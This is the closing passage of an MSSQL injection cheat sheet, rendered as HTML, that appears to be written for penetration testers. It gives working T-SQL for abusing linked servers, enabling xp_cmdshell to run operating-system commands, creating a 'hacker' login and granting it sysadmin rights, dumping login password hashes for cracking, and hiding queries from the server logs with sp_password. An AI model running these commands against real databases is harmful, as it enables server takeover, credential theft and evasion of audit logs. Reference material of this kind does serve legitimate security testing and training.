<div class="highlight"><pre><span></span><code><a id="__codelineno-27-1" name="__codelineno-27-1" href="#__codelineno-27-1"></a><span class="c1">-- find link</span>
<a id="__codelineno-27-2" name="__codelineno-27-2" href="#__codelineno-27-2"></a><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysservers</span>
<a id="__codelineno-27-3" name="__codelineno-27-3" href="#__codelineno-27-3"></a>
<a id="__codelineno-27-4" name="__codelineno-27-4" href="#__codelineno-27-4"></a><span class="c1">-- execute query through the link</span>
<a id="__codelineno-27-5" name="__codelineno-27-5" href="#__codelineno-27-5"></a><span class="k">select</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">openquery</span><span class="p">(</span><span class="ss">&quot;dcorp-sql1&quot;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;select * from master..sysservers&#39;</span><span class="p">)</span>
<a id="__codelineno-27-6" name="__codelineno-27-6" href="#__codelineno-27-6"></a><span class="k">select</span><span class="w"> </span><span class="k">version</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">openquery</span><span class="p">(</span><span class="ss">&quot;linkedserver&quot;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;select @@version as version&#39;</span><span class="p">);</span>
<a id="__codelineno-27-7" name="__codelineno-27-7" href="#__codelineno-27-7"></a>
<a id="__codelineno-27-8" name="__codelineno-27-8" href="#__codelineno-27-8"></a><span class="c1">-- chain multiple openquery</span>
<a id="__codelineno-27-9" name="__codelineno-27-9" href="#__codelineno-27-9"></a><span class="k">select</span><span class="w"> </span><span class="k">version</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">openquery</span><span class="p">(</span><span class="ss">&quot;link1&quot;</span><span class="p">,</span><span class="s1">&#39;select version from openquery(&quot;link2&quot;,&quot;select @@version as version&quot;)&#39;</span><span class="p">)</span>
<a id="__codelineno-27-10" name="__codelineno-27-10" href="#__codelineno-27-10"></a>
<a id="__codelineno-27-11" name="__codelineno-27-11" href="#__codelineno-27-11"></a><span class="c1">-- execute shell commands</span>
<a id="__codelineno-27-12" name="__codelineno-27-12" href="#__codelineno-27-12"></a><span class="k">EXECUTE</span><span class="p">(</span><span class="s1">&#39;sp_configure &#39;&#39;xp_cmdshell&#39;&#39;,1;reconfigure;&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">AT</span><span class="w"> </span><span class="n">LinkedServer</span>
<a id="__codelineno-27-13" name="__codelineno-27-13" href="#__codelineno-27-13"></a><span class="k">select</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">openquery</span><span class="p">(</span><span class="ss">&quot;linkedserver&quot;</span><span class="p">,</span><span class="s1">&#39;select 1;exec master..xp_cmdshell &quot;dir c:&quot;&#39;</span><span class="p">)</span>
<a id="__codelineno-27-14" name="__codelineno-27-14" href="#__codelineno-27-14"></a>
<a id="__codelineno-27-15" name="__codelineno-27-15" href="#__codelineno-27-15"></a><span class="c1">-- create user and give admin privileges</span>
<a id="__codelineno-27-16" name="__codelineno-27-16" href="#__codelineno-27-16"></a><span class="k">EXECUTE</span><span class="p">(</span><span class="s1">&#39;EXECUTE(&#39;&#39;CREATE LOGIN hacker WITH PASSWORD = &#39;&#39;&#39;&#39;P@ssword123.&#39;&#39;&#39;&#39; &#39;&#39;) AT &quot;DOMINIO\SERVER1&quot;&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">AT</span><span class="w"> </span><span class="ss">&quot;DOMINIO\SERVER2&quot;</span>
<a id="__codelineno-27-17" name="__codelineno-27-17" href="#__codelineno-27-17"></a><span class="k">EXECUTE</span><span class="p">(</span><span class="s1">&#39;EXECUTE(&#39;&#39;sp_addsrvrolemember &#39;&#39;&#39;&#39;hacker&#39;&#39;&#39;&#39; , &#39;&#39;&#39;&#39;sysadmin&#39;&#39;&#39;&#39; &#39;&#39;) AT &quot;DOMINIO\SERVER1&quot;&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">AT</span><span class="w"> </span><span class="ss">&quot;DOMINIO\SERVER2&quot;</span>
</code></pre></div>
<h2 id="mssql-privileges">MSSQL Privileges</h2>
<h3 id="mssql-list-permissions">MSSQL List Permissions</h3>
<ul>
<li>
<p>Listing effective permissions of current user on the server.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-28-1" name="__codelineno-28-1" href="#__codelineno-28-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">fn_my_permissions</span><span class="p">(</span><span class="k">NULL</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;SERVER&#39;</span><span class="p">);</span><span class="w"> </span>
</code></pre></div>
</li>
<li>
<p>Listing effective permissions of current user on the database.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-29-1" name="__codelineno-29-1" href="#__codelineno-29-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">fn_my_permissions</span><span class="w"> </span><span class="p">(</span><span class="k">NULL</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;DATABASE&#39;</span><span class="p">);</span>
</code></pre></div>
</li>
<li>
<p>Listing effective permissions of current user on a view.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-30-1" name="__codelineno-30-1" href="#__codelineno-30-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">fn_my_permissions</span><span class="p">(</span><span class="s1">&#39;Sales.vIndividualCustomer&#39;</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;OBJECT&#39;</span><span class="p">)</span><span class="w"> </span><span class="k">ORDER</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="n">subentity_name</span><span class="p">,</span><span class="w"> </span><span class="n">permission_name</span><span class="p">;</span><span class="w"> </span>
</code></pre></div>
</li>
<li>
<p>Check if current user is a member of the specified server role.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-31-1" name="__codelineno-31-1" href="#__codelineno-31-1"></a><span class="c1">-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin</span>
<a id="__codelineno-31-2" name="__codelineno-31-2" href="#__codelineno-31-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">is_srvrolemember</span><span class="p">(</span><span class="s1">&#39;sysadmin&#39;</span><span class="p">);</span>
</code></pre></div>
</li>
</ul>
<h3 id="mssql-make-user-dba">MSSQL Make User DBA</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-32-1" name="__codelineno-32-1" href="#__codelineno-32-1"></a><span class="k">EXEC</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">sp_addsrvrolemember</span><span class="w"> </span><span class="s1">&#39;user&#39;</span><span class="p">,</span><span class="w"> </span><span class="err">&#39;</span><span class="n">sysadmin</span><span class="p">;</span>
</code></pre></div>
<h2 id="mssql-database-credentials">MSSQL Database Credentials</h2>
<ul>
<li><strong>MSSQL 2000</strong>: Hashcat mode 131: <code>0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-33-1" name="__codelineno-33-1" href="#__codelineno-33-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysxlogins</span>
<a id="__codelineno-33-2" name="__codelineno-33-2" href="#__codelineno-33-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">dbo</span><span class="p">.</span><span class="n">fn_varbintohexstr</span><span class="p">(</span><span class="n">password</span><span class="p">)</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">..</span><span class="n">sysxlogins</span><span class="w"> </span>
<a id="__codelineno-33-3" name="__codelineno-33-3" href="#__codelineno-33-3"></a><span class="c1">-- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer</span>
</code></pre></div></li>
<li><strong>MSSQL 2005</strong>: Hashcat mode 132: <code>0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe</code>
<div class="highlight"><pre><span></span><code><a id="__codelineno-34-1" name="__codelineno-34-1" href="#__codelineno-34-1"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="p">,</span><span class="w"> </span><span class="n">password_hash</span><span class="w"> </span><span class="k">FROM</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">sql_logins</span>
<a id="__codelineno-34-2" name="__codelineno-34-2" href="#__codelineno-34-2"></a><span class="k">SELECT</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s1">&#39;-&#39;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">fn_varbintohexstr</span><span class="p">(</span><span class="n">password_hash</span><span class="p">)</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="n">master</span><span class="p">.</span><span class="n">sys</span><span class="p">.</span><span class="n">sql_logins</span>
</code></pre></div></li>
</ul>
<h2 id="mssql-opsec">MSSQL OPSEC</h2>
<p>Use <code>SP_PASSWORD</code> in a query to hide from the logs like : <code>' AND 1=1--sp_password</code></p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-35-1" name="__codelineno-35-1" href="#__codelineno-35-1"></a><span class="c1">-- &#39;sp_password&#39; was found in the text of this event.</span>
<a id="__codelineno-35-2" name="__codelineno-35-2" href="#__codelineno-35-2"></a><span class="c1">-- The text has been replaced with this comment for security reasons.</span>
</code></pre></div>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/">AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - June 21, 2023</a></li>
<li><a href="https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf">Error based SQL Injection in "Order By" clause - Manish Kishan Tanwar - March 26, 2018</a></li>
<li><a href="https://www.exploit-db.com/papers/12975">Full MSSQL Injection PWNage - ZeQ3uL &amp;&amp; JabAv0C - January 28, 2009</a></li>
<li><a href="https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15">IS_SRVROLEMEMBER (Transact-SQL) - Microsoft - April 9, 2024</a></li>
<li><a href="http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet">MSSQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011</a></li>
<li><a href="https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links">MSSQL Trusted Links - HackTricks - September 15, 2024</a></li>
<li><a href="https://blog.netspi.com/how-to-hack-database-links-in-sql-server/">SQL Server - Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6, 2013</a></li>
<li><a href="https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15">sys.fn_my_permissions (Transact-SQL) - Microsoft - January 25, 2024</a></li>
</ul>
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